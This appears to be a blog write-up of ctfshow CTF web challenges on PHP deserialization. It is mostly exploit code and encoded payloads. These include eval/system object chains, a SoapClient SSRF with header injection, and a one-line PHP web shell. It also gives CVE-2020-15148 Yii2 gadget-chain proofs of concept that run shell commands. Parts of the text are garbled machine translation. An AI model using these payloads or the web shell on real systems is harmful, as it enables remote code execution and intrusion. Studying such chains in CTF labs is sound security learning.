Getting started with ctfshow web - deserialization

Magic methods commonly used in deserialization:

__wakeup() //This function is called first when deserialize() is executed

__sleep() //When you execute serialize(), this function is called first

__destruct() //Triggered when an object is destroyed

__call() //Triggered when an inaccessible method is called in the context of an object

__callStatic() //Triggered when an inaccessible method is called in a static context

__get() //This method is called for reading data from inaccessible properties or if the key does not exist

__set() //Used to write data to inaccessible properties

__isset() //Triggered by calling isset() or empty() on an inaccessible property

__unset() //Triggered when unset() is used on an inaccessible property

__toString() //Triggered when a class is used as a string

__invoke() //Triggered when an attempt is made to call an object as a function

catalogue

Web 254

Web 255

Web 256

Web 257

web 258

web 259

Web 260

Web 261

web 265

Web 266

Web 267

Web 268

Web 254

if($user->login($username,$password))

Just let it return.

if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }

So you can pass in the same as in the code.

Payload:

?username=xxxxxx&password=xxxxxx

Web 255

Just bypass these two if.

if($user->login($username,$password)){
        if($user->checkVip())
<?php



class ctfShowUser{

    public $username='xxxxxx';

    public $password='xxxxxx';

    public $isVip=ture;

}

$a=serialize(new ctfShowUser());

echo urlencode($a);

Just pass in the result.

Don't forget the content of GET username = XXXXXX & password = xxxxxx

Web 256

One step more than the previous question.

if($this->username!==$this->password)

Represents that the username and password after deserialization are not equal.

<?php



class ctfShowUser{

    public $username='xxxxxx';

    public $password='a';

    public $isVip=ture;

}

$a=serialize(new ctfShowUser());

echo urlencode($a);

payload:

?username=xxxxxx&password=a

Cookie:

user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22a%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D

Web 257

You need to use the eval of getInfo() method in backDoor class to change the value of code.

Triggered when deserialized__ The construct method shile instantiates the backDoor class, which will be called automatically when it is finally destroyed__ destruct() method, and then eval() executes the command.

<?php



class ctfShowUser{

    private $username='xxxxxx';

    private $password='xxxxxx';

private $isVip=ture;



    public function __construct(){

        $this->class=new backDoor();

    }

    public function __destruct(){

        $this->class->getInfo();

    }



}



class backDoor

{

    private $code="system('ls');";

    public function getInfo()

    {

        eval($this->code);

    }

}



$a=serialize(new ctfShowUser());

echo urlencode($a);

payload:

?username=xxxxxx&password=xxxxxx

Cookie incoming:

user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bs%3A4%3A%22ture%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

web 258

The plus sign bypasses the regular.

<?php



class ctfShowUser{

    public $username='xxxxxx';

    public $password='xxxxxx';



    public function __construct(){

        $this->class=new backDoor();

    }

    public function __destruct(){

        $this->class->getInfo();

    }



}

class backDoor

{

    public $code="system('cat f*');";

    public function getInfo()

    {

        eval($this->code);

    }

}



$a= serialize(new ctfShowUser());

echo $a."\n";

$a=str_replace("O:","O:+",$a);

echo $a."\n";

echo urlencode($a);

payload:

?username=xxxxxx&password=xxxxxx

Cookie incoming:

user=O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27cat+f%2A%27%29%3B%22%3B%7D%7D

web 259

Knowledge points
1. If an instantiated class calls a function that does not exist, it will call it__ Call magic method__ Call will send a request
2. Content type of post data submission type

Exp:

<?php

$ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>"127.0.0.1/",'location'=>"http://127.0.0.1/flag.php",'user_agent'=>$ua));

echo urlencode(serialize($client))

?>

Payload:

?vip=O%3A10%3A"SoapClient"%3A5%3A%7Bs%3A3%3A"uri"%3Bs%3A10%3A"127.0.0.1%2F"%3Bs%3A8%3A"location"%3Bs%3A25%3A"http%3A%2F%2F127.0.0.1%2Fflag.php"%3Bs%3A15%3A"_stream_context"%3Bi%3A0%3Bs%3A11%3A"_user_agent"%3Bs%3A138%3A"ctfshow%0D%0Ax-forwarded-for%3A127.0.0.1%2C127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow"%3Bs%3A13%3A"_soap_version"%3Bi%3A1%3B%7D

Then visit flag Txt

Web 260

Ctfshow must be serialized from the incoming ctfshow_i_love_36D.

We pass in directly:

? Ctfshow= ctfshow_i_love_36D

Get flag

Web 261

The invoke of this question cannot be entered, so you can use file_ put_ The contents function writes a sentence to the Trojan horse.

And the code needs to be equal to 0x36d(877), which can be passed in 877 PHP, because = = is a weak type comparison

When the class is also defined__ unserialize() and__ wakeup() two magic methods,

Only__ The unserialize() method takes effect, so you don't need to consider the contents of wakeup.

Will enter when deserializing__ In unserialize(), when ctfshowvip is destroyed and replaced, it will enter again__ destruct().

Then it will pass through the file_put_contents function to achieve the purpose.

Payload:

O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}

Then it is normal to use the one sentence Trojan horse to get the flag.

web 265

passsword should be controllable. You can let the password point to the address of the token. In this way, when the number of tokens is randomly generated, the password will also change.

example:

<?php

class ctfshowAdmin

{

    public $token;

    public $password;

    public function __construct()

    {

    $this->password=&$this->token;

    $this->token='a';

    }

}



$a=serialize(new ctfshowAdmin());

echo $a

?>

Payload:

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"a";s:8:"password";R:2;}

Web 266

Case sensitive: variable name, constant name, array index (key name)

Case insensitive: function name, method name, class name, magic constant, NULL, FALSE, TRUE

Case can be bypassed.

<?php

class ctfshow{

    public $username='xxxxxx';

    public $password='xxxxxx';



  public function __destruct(){

        global $flag;

        echo $flag;

    }

}

echo serialize(new ctfshow())

?>

POST:

O:7:"ctfSHOW":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

Web 267

CVE-2020-15148 vulnerability.

Weak password login admin/admin

Check the source code and find:

Try to pass in.

Try / index php? r=site%2Fabout&view-source.

Poc:

<?php



namespace yii\rest{

    class IndexAction{

        public $checkAccess;

        public $id;

        public function __construct(){

            $this->checkAccess = 'exec';

            $this->id = 'ls />feng.txt';

        }

    }

}

namespace Faker {



    use yii\rest\IndexAction;



    class Generator

    {

        protected $formatters;



        public function __construct()

        {

            $this->formatters['close'] = [new IndexAction(), 'run'];

        }

    }

}

namespace yii\db{



    use Faker\Generator;



    class BatchQueryResult{

        private $_dataReader;

        public function __construct()

        {

            $this->_dataReader=new Generator();

        }

    }

}

namespace{



    use yii\db\BatchQueryResult;



    echo base64_encode(serialize(new BatchQueryResult()));

}

Payload:

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjEzOiJscyAvPmZlbmcudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

Then visit Feng PHP, find flag.

Change the script and use CP / flag 1 Txt get flag.

Web 268

Filtered the flag.

<?php



namespace yii\rest{

    class IndexAction{

        public $checkAccess;

        public $id;

        public function __construct(){

            $this->checkAccess = 'exec';

            $this->id = 'cp /f* feng.txt';

        }

    }

}

namespace Faker {



    use yii\rest\IndexAction;



    class Generator

    {

        protected $formatters;



        public function __construct()

        {

            $this->formatters['isRunning'] = [new IndexAction(), 'run'];

        }

    }

}

namespace Codeception\Extension{



    use Faker\Generator;



    class RunProcess

    {

        private $processes = [];

        public function __construct(){

            $this->processes[]=new Generator();

        }

    }

}

namespace{





    use Codeception\Extension\RunProcess;



    echo base64_encode(serialize(new RunProcess()));

}

Payload:

/index.php?r=backdoor/shell&code=TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7YToxOntzOjk6ImlzUnVubmluZyI7YToyOntpOjA7TzoyMDoieWlpXHJlc3RcSW5kZXhBY3Rpb24iOjI6e3M6MTE6ImNoZWNrQWNjZXNzIjtzOjQ6ImV4ZWMiO3M6MjoiaWQiO3M6MTU6ImNwIC9mKiBmZW5nLnR4dCI7fWk6MTtzOjM6InJ1biI7fX19fX0=

Then visit Feng txt

Tags: PostMan webview linq ctfshow

Posted by Roger Ramjet on Wed, 18 May 2022 21:52:38 +0300